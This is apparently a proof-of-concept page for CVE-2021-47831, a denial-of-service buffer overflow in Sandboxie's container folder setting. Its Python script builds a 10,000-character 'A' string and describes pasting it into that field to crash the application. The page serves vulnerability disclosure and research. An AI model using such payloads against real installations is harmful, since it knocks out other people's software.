CVE-2021-47831 Sandboxie容器文件夹缓冲区溢出拒绝服务漏洞

# CVE-2021-47831 PoC - Sandboxie Buffer Overflow DoS # This PoC demonstrates the buffer overflow vulnerability in Sandboxie container folder input # Note: This is for educational and security research purposes only import sys def generate_poc_payload(length=10000): """ Generate a large payload of repeated characters to trigger buffer overflow in Sandboxie container folder input field """ return 'A' * length def simulate_attack(): """ Simulate the attack process: 1. Open Sandboxie settings 2. Navigate to container folder setting 3. Paste large buffer into input field 4. Application crashes due to buffer overflow """ payload = generate_poc_payload(10000) print(f"[+] Generated payload with {len(payload)} characters") print(f"[+] Payload preview: {payload[:100]}...") print("[+] Attack simulation complete") print("[-] Target application would crash due to buffer overflow") return payload if __name__ == "__main__": print("CVE-2021-47831 Sandboxie Buffer Overflow PoC") print("=" * 50) simulate_attack()